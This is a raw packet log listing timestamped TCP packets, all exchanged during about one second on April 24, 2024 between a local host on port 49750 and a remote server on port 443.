Apr 24, 2024 18:52:17.168088913 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.168154955 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.168210030 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.168210030 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.168227911 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.168260098 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.168297052 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.168312073 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.168312073 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.168346882 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.168375015 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.168399096 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.168481112 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.168521881 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.168543100 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.168560982 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.168589115 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.168608904 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.189599037 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.189641953 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.189685106 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.189696074 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.189724922 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.189743042 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.315136909 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.315167904 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.315217972 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.315236092 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.315265894 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.315283060 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.406702042 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.406733036 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.406829119 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.406848907 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.408417940 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.474104881 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.474128008 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.474196911 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.474230051 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.474281073 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.514439106 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.514457941 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.514574051 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.514602900 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.515321016 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.579894066 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.579941034 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.579993963 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.580024958 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.580051899 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.580073118 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.641527891 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.641601086 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.641643047 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.641654968 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.641684055 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.641788006 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.693130970 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.693186045 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.693325043 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.693325043 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.693388939 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.693898916 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.731013060 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.731061935 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.731117010 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.731117010 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.731185913 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.733258963 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.765748024 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.765794039 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.765870094 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.765903950 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.765925884 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.766108990 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.800041914 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.800086975 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.800108910 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.800126076 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.800138950 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.800163984 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.833801985 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.833843946 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.833884001 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.833942890 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.833986044 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.834008932 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.859891891 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.859935045 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.860066891 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.860066891 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.860130072 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.861959934 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.888861895 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.888907909 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.889043093 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.889043093 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.889108896 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.889166117 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.912329912 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.912373066 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.912499905 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.912501097 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.912561893 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.912621975 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.934051991 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.934096098 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.934144020 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.934205055 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.934205055 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.934236050 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.934287071 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.958584070 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.958630085 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.958672047 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.958699942 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.958729982 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.958745003 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.984949112 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.984992027 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.985033989 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.985050917 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.985100985 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.985101938 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.009604931 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.009650946 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.009699106 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.009758949 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.009804964 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.009829044 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.041337967 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.041429043 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.041555882 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.041557074 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.041619062 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.041676998 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.059906006 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.059964895 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.059973001 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.059993982 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.060019970 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.060038090 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.076738119 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.076795101 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.076947927 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.076948881 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.077019930 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.077075958 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.094259977 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.094280958 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.094320059 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.094333887 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.094360113 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.094377041 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.112904072 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.112921953 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.113060951 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.113121033 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.113182068 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.128298998 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.128319979 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.128462076 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.128521919 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.128582954 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.146193027 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.146213055 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.146255970 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.146270990 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.146310091 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.146327972 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.161354065 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.161376953 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.161420107 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.161437988 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.161468983 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.161489010 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.175679922 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.175702095 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.175729990 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.175746918 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.175775051 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.175790071 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.190341949 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.190361977 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.190418959 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.190479040 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.190524101 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.206953049 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.206973076 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.207135916 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.207195044 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.207250118 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.220146894 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.220166922 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.220201969 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.220216990 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.220248938 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.220263958 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.233392000 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.233413935 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.233478069 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.233494043 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.233519077 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.233536005 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.247077942 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.247100115 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.247261047 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.247261047 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.247329950 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.247387886 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.258848906 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.258867979 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.258924961 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.258938074 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.258964062 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.258976936 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.271176100 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.271194935 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.271286964 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.271294117 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.271347046 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.282207012 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.282262087 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.282295942 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.282301903 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.282316923 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.282341003 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.294589996 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.294608116 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.294655085 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.294661999 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.294682980 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.294715881 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.304943085 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.304964066 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.305003881 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.305013895 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.305027008 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.305052996 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.315985918 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.316004038 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.316056967 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.316082001 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.316099882 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.316123962 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.327622890 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.327641964 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.327682972 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.327692032 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.327713966 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.327734947 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.337330103 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.337348938 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.337382078 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.337388039 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.337414980 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.337424040 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.349286079 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.349333048 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.349385977 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.349395037 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.349447966 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.364717960 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.364761114 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.364846945 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.364854097 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.365042925 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.375435114 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.375482082 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.375582933 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.375596046 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.375821114 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.384453058 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.384495020 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.384623051 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.384644985 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.384733915 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.394839048 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.394881964 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.394996881 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.395018101 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.395051003 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.395067930 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.404254913 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.404303074 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.404342890 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.404350996 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.404521942 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.404521942 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.412894964 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.412939072 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.412971020 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.412977934 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.413017988 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.413038969 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.421288967 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.421334028 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.421369076 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.421399117 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.421425104 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.421474934 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.431004047 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.431046009 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.431081057 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.431093931 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.431118965 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.431138992 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.439672947 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.439729929 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.439763069 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.439770937 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.439790964 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.439820051 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.447716951 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.447762012 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.447794914 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.447814941 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.447838068 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.447849989 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.459872961 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.459918022 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.459959984 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.459974051 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.459999084 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.460007906 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.466469049 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.466511965 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.466609001 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.466609001 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.466638088 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.466681957 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:18.472587109 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:18.472630024 CEST	443	49750	95.217.9.149	192.168.2.4
